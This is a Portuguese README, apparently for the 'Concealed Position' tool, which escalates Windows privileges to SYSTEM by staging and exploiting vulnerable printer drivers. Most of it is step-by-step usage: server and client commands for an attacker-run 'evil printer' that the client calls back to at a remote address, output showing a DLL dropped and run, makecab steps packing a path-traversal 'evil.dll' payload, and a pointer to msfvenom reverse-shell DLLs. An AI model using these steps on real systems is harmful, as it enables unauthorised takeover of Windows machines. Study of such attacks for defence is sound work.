
Ferramenta de escalonamento de privilégios usando seu próprio driver de impressão
Concealed Position é um ataque de escalonamento de privilégio local contra Windows usando o conceito de "Bring Your Own Vulnerability". Especificamente, Concealed Position (CP) usa a lógica as designed de package point and print no Windows que permite a um usuário de baixo privilégio encenar e instalar drivers de impressora. CP instala especificamente drivers com vulnerabilidades conhecidas que são então exploradas para escalar para SYSTEM. Concealed Position foi apresentada pela primeira vez no DEF CON 29.
Concealed Position oferece quatro exploits - todos com nomes igualmente idiotas:
Os exploits são interessantes porque, além do SLASHINGDAMAGE, eles continuarão funcionando mesmo após os problemas serem corrigidos. O único mecanismo que o Windows tem para impedir que usuários usem drivers antigos é revogar o certificado do driver - algo que não é(?) feito historicamente.
Provavelmente ACIDDAMAGE. RADIANTDAMAGE e POISONDAMAGE são condições de corrida (para sobrescrever uma DLL) e SLASHINGDAMAGE, esperançosamente, está corrigido na maioria dos lugares.
Concealed Position tem duas partes. Uma impressora maléfica e um cliente. O cliente contata o servidor, pega um driver, faz o driver ser armazenado no repositório de drivers, instala a impressora e explora o processo de instalação. Fácil! Em linguagem MSAPI, o ataque funciona mais ou menos assim:
Step 1: Stage the driver in the driver store
client to server: GetPrinterDriver
server to client: Response with driver
Stage 2: Install the driver from the driver store
client: InstallPrinterDriverFromPackage
Stage 3: Add a local printer (exploitation stage)
client: Add printer
É importante notar que o SLASHINGDAMAGE na verdade não funciona assim. O SLASHINGDAMAGE é uma implementação do ataque de impressora maléfica descrito no DEFCON 28 (2020) e já foi corrigido há muito tempo. Acontece que eu gosto do ataque (ele desencadeou o resto deste desenvolvimento) e resolvi deixar o exploit no meu servidor maléfico... por mais confuso que isso possa ser.
Discutivelmente, sim. O repositório de drivers é uma "coleção confiável de ... pacotes de drivers de terceiros" que requer acesso de administrador para modificar. Usando GetPrinterDriver, um atacante de baixo privilégio pode encenar drivers arbitrários no repositório. Isso, para mim, cruza uma clara fronteira de segurança.
A Microsoft parecia concordar quando emitiu CVE-2021-34481.
Embora... seja discutível que isso é simplesmente uma característica do sistema e não uma vulnerabilidade. Na verdade, não importa tanto assim. Um atacante pode escalar para SYSTEM em instalações padrão do Windows.
Pelo menos Windows 8.1 e superior.
Simples! Tão simples que haverá muitos parágrafos para descrever!
Primeiro, vamos ver as opções de linha de comando do cp_server:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
CLI options:
-h, --help Display the help message
-e, --exploit arg The exploit to use
-c, --cabs arg (=.\cab_files) The location of the cabinet files
Exploits available:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
SLASHINGDAMAGE
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Acima você pode ver que o servidor requer duas opções:
Por exemplo, digamos que queremos configurar uma impressora maléfica que sirva o driver ACIDDAMAGE. Basta fazer isso:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_server.exe -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| server!
[+] Creating temporary space...
[+] Expanding .\cab_files\ACIDDAMAGE\LMUD1o40.cab
[+] Pushing into the driver store
[+] Cleaning up tmp space
[+] Installing print driver
[+] Driver installed!
[+] Installing shared printer
[+] Shared printer installed!
[+] Automation Done.
[!] IMPORTANT MANUAL STEPS!
[0] In Advanced Sharing Settings, Turn off password protected sharing.
[1] Ready to go!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
E é isso, você verá uma nova impressora no seu sistema:
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin> Get-Printer
Name ComputerName Type DriverName PortName Shared Publishe
d
---- ------------ ---- ---------- -------- ------ --------
ACIDDAMAGE Local Lexmark Universal v2 LPT1: True False
CutePDF Writer Local CutePDF Writer v4.0 CPW4: False False
OneNote for Windows 10 Local Microsoft Software Pri... Microsoft.Of... False False
Microsoft XPS Document Writer Local Microsoft XPS Document... PORTPROMPT: False False
Microsoft Print to PDF Local Microsoft Print To PDF PORTPROMPT: False False
Fax Local Microsoft Shared Fax D... SHRFAX: False False
PS C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
Observe que há uma etapa manual que o cp_server pede para você fazer. Porque sou um hacker meia-boca, não consegui descobrir como definir programaticamente as "Configurações Avançadas de Compartilhamento" -> "Desativar compartilhamento protegido por senha". Você terá que fazer isso sozinho!
O processo para usar o SLASHINGDAMAGE é um pouco diferente. Você precisará primeiro instalar o CutePDF Writer (encontre os instaladores no diretório de terceiros). Depois execute cp_server e então você ainda precisará seguir algumas etapas manuais e reiniciar.
O cliente é igualmente fácil de usar. Vamos ver suas opções de linha de comando:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
CLI options:
-h, --help Display the help message
-r, --rhost arg The remote evil printer address
-n, --name arg The remote evil printer name
-e, --exploit arg The exploit to use
-l, --local No remote printer. Local attack only.
-d, --dll arg Path to user provided DLL to execute.
Exploits available:
ACIDDAMAGE
POISONDAMAGE
RADIANTDAMAGE
Primeiro, gostaria de abordar a opção --dll. O cliente tem um payload embutido que simplesmente escreverá o arquivo C:\result.txt. No entanto, os usuários podem fornecer sua própria DLL através desta opção. Um bom exemplo de algo que você pode querer usar é um reverse shell x64 produzido pelo msfvenom. Mas para o resto disso, vamos apenas assumir o payload embutido.
cp_client tem dois modos: remoto e local. A opção remota é a mais interessante porque adiciona o driver vulnerável ao repositório de drivers (executando assim a vulnerabilidade de trazer seu próprio driver de impressão), então vamos começar com essa. Digamos que eu queira conectar de volta à impressora maléfica ACIDDAMAGE que configuramos anteriormente. Preciso apenas fornecer:
Assim!
C:\Users\albinolobster\Desktop>cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
[+] Checking if driver is already installed
[-] Driver is not available.
[+] Call back to evil printer @ \\10.0.0.9\ACIDDAMAGE
[+] Staging driver in driver store
[+] Installing the staged driver
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn't exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:\tmp
[+] Installing printer
[!] Mucho success!
É isso! Para executar um ataque apenas local, você só precisa fornecer o exploit:
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>cp_client.exe -l -e ACIDDAMAGE
_______ _______ __ _ _______ _______ _______ ___ _______ ______
| || || | | || || || _ || | | || |
| || _ || |_| || || ___|| |_| || | | ___|| _ |
| || | | || || || |___ | || | | |___ | | | |
| _|| |_| || _ || _|| ___|| || |___ | ___|| |_| |
| |_ | || | | || |_ | |___ | _ || || |___ | |
|_______||_______||_| |__||_______||_______||__| |__||_______||_______||______|
_______ _______ _______ ___ _______ ___ _______ __ _
| || || || | | || | | || | | |
| _ || _ || _____|| | |_ _|| | | _ || |_| |
| |_| || | | || |_____ | | | | | | | | | || |
| ___|| |_| ||_____ || | | | | | | |_| || _ |
| | | | _____| || | | | | | | || | | |
|___| |_______||_______||___| |___| |___| |_______||_| |__| client!
[+] Checking if driver is already installed
[+] Driver installed!
[+] Starting AcidDamage
[+] Checking if C:\ProgramData\Lexmark Universal v2\ exists
[-] Target directory doesn't exist. Trigger install.
[+] Installing printer
[+] Read in C:\ProgramData\Lexmark Universal v2\Universal Color Laser.gdl
[+] Searching file contents
[+] Updating file contents
[+] Dropping updated gpl
[+] Dropping Dll.dll to disk
[+] Staging dll in c:\tmp
[+] Installing printer
[!] Mucho success!
C:\Users\albinolobster\concealed_position\build\x64\Release\bin>
SLASHINGDAMAGE não precisa de um cliente especial para exploração. Você pode usar a interface do usuário ou a linha de comando para conectar à impressora remota e é isso! Infelizmente, se você quiser criar um payload personalizado, precisará atualizar o CAB no diretório cab_files. Mas isso é fácil. Algo assim:
echo “evil.dll” “../../evil.dll” > files.txt
makecab /f files.txt
move disk1/1.cab exploit.cab
É provavelmente importante saber que a versão do SLASHINGDAMAGE no repositório coloca ualapi.dll em SYSTEM32 e, quando executada na reinicialização, coloca o arquivo C:\result.txt.
Você quer enviar um pull request ou reportar um bug? Ótimo! Eu agradeço, mas se você não fornecer detalhes suficientes para reproduzir um bug ou explicar por que um pull request deve ser aceito, então há 100% de chance de eu fechar seu problema sem comentários. Eu agradeço, mas também estou bastante ocupado.
Uma coisa a notar é que a dll inject_me está realmente embutida no cp_client como um array C. Se você atualizar o inject_me, precisará atualizar manualmente o array C também (basta usar xxd para gerar o array).